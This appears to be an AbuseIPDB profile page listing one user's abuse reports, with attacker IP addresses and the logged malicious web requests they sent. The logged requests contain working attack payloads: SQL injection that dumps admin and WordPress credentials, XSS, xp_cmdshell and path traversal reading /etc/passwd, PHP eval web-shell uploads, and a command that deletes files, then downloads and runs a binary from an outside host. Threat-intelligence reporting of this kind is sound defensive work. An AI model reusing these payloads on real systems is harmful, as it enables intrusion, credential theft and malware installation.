AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User kozkabas joined AbuseIPDB in September 2022 and has reported 239 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇧🇦 185.99.3.73	11 Oct 2022	/default.aspx?pageID=471%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XS ... show more /default.aspx?pageID=471%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23&ftxtID=29183%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Hacking Web App Attack
🇬🇧 37.235.54.26	11 Oct 2022	/Default.aspx?pageID=1493%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22X ... show more /Default.aspx?pageID=1493%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Hacking Web App Attack
🇺🇸 154.31.3.138	11 Oct 2022	/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/!50000union//* ... show more /plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/!50000union//!50000select/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294 show less	Hacking Web App Attack
🇨🇳 112.19.110.219	11 Oct 2022	/default.aspx?pageID=142%2F%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%2 ... show more /default.aspx?pageID=142%2F%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Hacking Web App Attack
🇦🇷 146.70.38.66	11 Oct 2022	/default.aspx?pageID=687%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XS ... show more /default.aspx?pageID=687%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23&ftxtID=7619%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Hacking Web App Attack
🇦🇺 20.11.8.85	10 Oct 2022	/r57shell.php	Hacking Web App Attack
🇨🇳 36.110.211.2	10 Oct 2022	/shell?cd+/tmp;rm+-rf+*;wget+ didad.cheat-gods.com/jaws;sh+/tmp/jaws	Hacking Web App Attack
🇩🇪 85.192.63.234	10 Oct 2022	/default.aspx?pageID=/etc/passwd	Hacking Web App Attack
🇮🇳 27.4.11.175	09 Oct 2022	Log4j Remote Code Execution Attempt	Hacking Web App Attack
🇺🇸 154.16.192.192	09 Oct 2022	Detected SQL Injection	Hacking SQL Injection
🇰🇷 14.36.38.179	09 Oct 2022	/index.php?a=display&templateFile=%3C?php%20eval($_POST%5Bseven%5D);?%3E	Hacking Web App Attack
🇭🇰 116.213.38.98	09 Oct 2022	/index.php/?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write&cacheFile=xml0.php&content=%3C?php%20@ ... show more /index.php/?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write&cacheFile=xml0.php&content=%3C?php%20@eval($_POST%5Bterry%5D);print(md5(123));?%3E show less	Hacking Web App Attack
🇹🇷 176.234.72.140	09 Oct 2022	/wp-json/wc/store/products/collection-data?calculate_attribute_counts%5B%5D%5Btaxonomy%5D=%252522%25 ... show more /wp-json/wc/store/products/collection-data?calculate_attribute_counts%5B%5D%5Btaxonomy%5D=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%2525280x6861636B657231%25252Cuser_login%25252C0x3a%25252Cuser_pass%25252C0x6861636B657232%252529%252520from%252520wp_users%25253B%252500 show less	Hacking Web App Attack
🇺🇸 85.239.45.214	06 Oct 2022	/default.aspx?pageId=1265&__IsAdmin=/etc/passwd	Web App Attack
🇻🇳 171.233.212.24	06 Oct 2022	/default.aspx?pageID=130%27%29AND1%3D1UNIONALLSELECT1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%2 ... show more /default.aspx?pageID=130%27%29AND1%3D1UNIONALLSELECT1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_nameFROMinformation_schema.tablesWHERE2%3E1–%2F%2A%2A%2F%3BEXECxp_cmdshell%28%27cat+…%2F…%2F…%2Fetc%2Fpasswd%27%29%23 show less	SQL Injection
🇦🇽 185.190.24.78	06 Oct 2022	High Severity IDS Blocked Event	Web App Attack
🇦🇷 190.48.198.21	05 Oct 2022	backdoor: Mirai.Botnet	Hacking
🇫🇮 95.216.80.144	05 Oct 2022	/plugin?file=../../../../../../../../../../../../../../etc/passwd	Hacking Web App Attack
🇭🇰 103.100.208.143	05 Oct 2022	/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents ... show more /?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=xpdoc.php&vars%5B1%5D%5B%5D=%3C?php%20class%20GaM10fA5%20%7B%20public%20function%20__construct($H7mu6)%7B%20@eval(%22/ZG5zknRfSk/%22.$H7mu6.%22%22);%20%7D%7Dnew%20GaM10fA5($_REQUEST%5B'xise'%5D);?%3Edjsjxbei37$ show less	Hacking Web App Attack
🇺🇸 20.169.47.33	05 Oct 2022	/Default.aspx?pageID=449%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XS ... show more /Default.aspx?pageID=449%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%5C%22XSS%5C%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 show less	Web App Attack
🇮🇳 27.5.51.68	05 Oct 2022	Log4j Remote Code Execution Attempt	Hacking
🇷🇴 193.29.13.243	05 Oct 2022	High Severity IDS Blocked Event	Web App Attack
🇭🇰 154.222.231.133	04 Oct 2022	/index.php?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write?cacheFile=vtr.php&content=%3C?php%20@ev ... show more /index.php?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write?cacheFile=vtr.php&content=%3C?php%20@eval($_POST%5B'cc'%5D);?%3EjwB9GE show less	Hacking Web App Attack
🇺🇸 93.157.106.144	04 Oct 2022	/default.aspx?pageID=471&ftxtID=11175&2586pg=26&rcbID=ctl00_LPane_m_471_2353_ctnr_m_471_2353_mo&rcbS ... show more /default.aspx?pageID=471&ftxtID=11175&2586pg=26&rcbID=ctl00_LPane_m_471_2353_ctnr_m_471_2353_mo&rcbServerID=/etc/passwd show less	Hacking Web App Attack
🇺🇸 85.239.46.93	04 Oct 2022	/default.aspx?pageID=471&ftxtID=11175&2586pg=26&rcbID=/etc/passwd&rcbServerID=mo	Hacking Web App Attack